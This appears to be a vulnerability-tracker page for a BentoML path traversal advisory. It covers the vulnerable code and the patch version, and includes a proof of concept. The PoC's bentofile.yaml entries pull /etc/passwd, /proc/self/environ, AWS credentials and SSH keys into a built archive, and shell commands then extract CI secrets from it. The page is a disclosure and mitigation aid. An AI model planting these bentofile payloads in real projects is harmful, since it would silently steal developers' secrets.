BentoML has a Path Traversal via Bentofile ConfigurationGHSA-6r62-w2q3-48hf
HIGHFix: bentoml/BentoML@84d08cfGHSA-6r62-w2q3-48hf is a high-severity (CVSS 7.4) Path Traversal vulnerability in bentoml. A fix is available for bentoml — see the affected versions and patch details below.
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-6r62-w2q3-48hf.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
bentomlReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
BentoML's bentofile.yaml configuration allows path traversal attacks through multiple file path fields (description, docker.setup_script, docker.dockerfile_template, conda.environment_yml). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed.
Details
The vulnerability exists in how BentoML resolves user-provided file paths without validating that they remain within the build context directory.
Vulnerable function in src/bentoml/_internal/utils/filesystem.py:114-131:
def resolve_user_filepath(filepath: str, ctx: t.Optional[str]) -> str:
_path = os.path.expanduser(os.path.expandvars(filepath))
if not os.path.isabs(_path) and ctx:
_path = os.path.expanduser(os.path.join(ctx, filepath))
if os.path.exists(_path):
return os.path.realpath(_path) # No path containment check
raise FileNotFoundError(f"file {filepath} not found")
Vulnerable code in src/bentoml/_internal/bento/bento.py:348-355:
if build_config.description.startswith("file:"):
file_name = build_config.description[5:].strip()
if not ctx_path.joinpath(file_name).exists():
raise InvalidArgument(f"File {file_name} does not exist.")
shutil.copy(ctx_path.joinpath(file_name), bento_readme) # Path traversal
All four vulnerable fields:
description: "file:../../../etc/passwd"→ copied toREADME.mddocker.setup_script: "../../../etc/passwd"→ copied toenv/docker/setup_scriptdocker.dockerfile_template: "../../../secret"→ copied toenv/docker/Dockerfile.templateconda.environment_yml: "../../../etc/hosts"→ copied toenv/conda/environment.yml
Multiple path formats are supported, making exploitation trivial:
| Format | description | setup_script | dockerfile_template | environment_yml |
|---|---|---|---|---|
Absolute paths (/etc/passwd) | Yes | Yes | Yes | Yes |
Tilde expansion (~/.ssh/id_rsa) | No | Yes | Yes | Yes |
Env vars ($HOME/.aws/credentials) | No | Yes | Yes | Yes |
Relative traversal (../../../etc/passwd) | Yes | Yes | Yes | Yes |
Proc filesystem (/proc/self/environ) | Yes | Yes | Yes | Yes |
The description field uses pathlib.Path.joinpath() directly, while other fields use resolve_user_filepath() which calls os.path.expanduser() and os.path.expandvars().
The /proc/self/environ vector is particularly dangerous in CI/CD pipelines where secrets are commonly passed as environment variables (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_PASSWORD, etc.).
PoC
- Create a minimal service:
# service.py
import bentoml
@bentoml.service
class TestService:
@bentoml.api
def predict(self, text: str) -> str:
return text
- Create malicious
bentofile.yaml. Multiple attack vectors are available:
Vector 1: Exfiltrate /etc/passwd via description field
service: "service.py:TestService"
description: "file:/etc/passwd"
Vector 2: Exfiltrate all environment variables (CI/CD secrets)
service: "service.py:TestService"
description: "file:/proc/self/environ"
Vector 3: Exfiltrate files using environment variable expansion (docker fields only)
service: "service.py:TestService"
docker:
dockerfile_template: "$HOME/.aws/credentials"
Vector 4: Exfiltrate files using tilde expansion (docker fields only)
service: "service.py:TestService"
docker:
dockerfile_template: "~/.ssh/id_rsa"
Note: The description field does not support ~ or $VAR expansion. Use absolute paths or relative traversal for description. The docker.* and conda.* fields support all path formats.
- Run build:
$ bentoml build
Successfully built Bento(tag="test_service:abc123").
- Verify exfiltration:
# For description field - check README.md
$ cat ~/bentoml/bentos/test_service/abc123/README.md
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
# For /proc/self/environ - extract CI/CD secrets
$ cat ~/bentoml/bentos/test_service/abc123/README.md | tr '\0' '\n' | grep -E "KEY|TOKEN|SECRET"
AWS_SECRET_ACCESS_KEY=AKIA...
GITHUB_TOKEN=ghp_...
# For dockerfile_template - check Dockerfile.template
$ cat ~/bentoml/bentos/test_service/abc123/env/docker/Dockerfile.template
[default]
aws_access_key_id = AKIA...
aws_secret_access_key = ...
The exfiltrated contents are embedded in the bento archive and will be included in any push, export, or containerization of the bento.
Impact
Who is impacted: Any user who runs bentoml build on an untrusted bentofile.yaml (e.g., cloned from a malicious repository).
Attack scenarios:
- Supply chain attack: Malicious contributor adds path traversal to a public ML project; anyone who clones and pushes their built model has their files exfiltrated
- CI/CD environment variable theft: Using
file:/proc/self/environ, an attacker can exfiltrate ALL environment variables from the build process. CI/CD pipelines commonly inject secrets this way (AWS_SECRET_ACCESS_KEY,GITHUB_TOKEN,DATABASE_URL, etc.), making this a single-payload method to steal all pipeline secrets. - BentoCloud exfiltration: When victims push compromised bentos to BentoCloud (
bentoml push), exfiltrated files are uploaded to the cloud platform. Any user with access to the BentoCloud organization (team members, contractors, or attackers with compromised accounts) can download the bento and extract stolen credentials. This turns BentoCloud into an unwitting exfiltration channel. - Data theft: Proprietary source code, configuration files, or database credentials embedded in bentos pushed to shared registries or BentoCloud deployments
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | bentoml | all versions | 1.4.34pip install --upgrade 'bentoml==1.4.34' |
Affected Products
bentomlbentomlDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for bentoml, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update bentoml to 1.4.34 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6r62-w2q3-48hf is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is GHSA-6r62-w2q3-48hf in your dependencies?
Find it across PyPI, including transitive dependencies.